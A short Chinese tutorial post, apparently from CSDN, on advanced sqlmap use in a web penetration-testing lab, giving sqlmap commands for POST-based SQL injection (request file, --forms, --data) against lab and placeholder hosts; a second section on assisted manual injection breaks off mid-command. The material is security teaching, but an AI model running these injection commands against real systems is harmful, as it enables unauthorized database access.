2021-08-23 网安实验-Web渗透测试之sqlmap的高级用法

一：post注入

1.用Burp抓包，然后保存抓取到的内容。例如：保存为post.txt,然后把它放至某个目录下

2.注入方式

1.sqlmap.py -r c:\1.txt-p username -D mysql --tables
2.sqlmap.py -u "http://192.168.160.1/sqltest/post.php" --forms
3.sqlmap -u http://xxx.xxx.com/Login.asp --data "n=1&p=1"

  

 

  
1
  
2
  
3
 

二：辅助手工注入

sqlmap.py -u "http://10.1.1.
  

 

文章来源: codeboy.blog.csdn.net，作者：愚公搬代码，版权归原作者所有，如需转载，请联系作者。

原文链接：codeboy.blog.csdn.net/article/details/119886369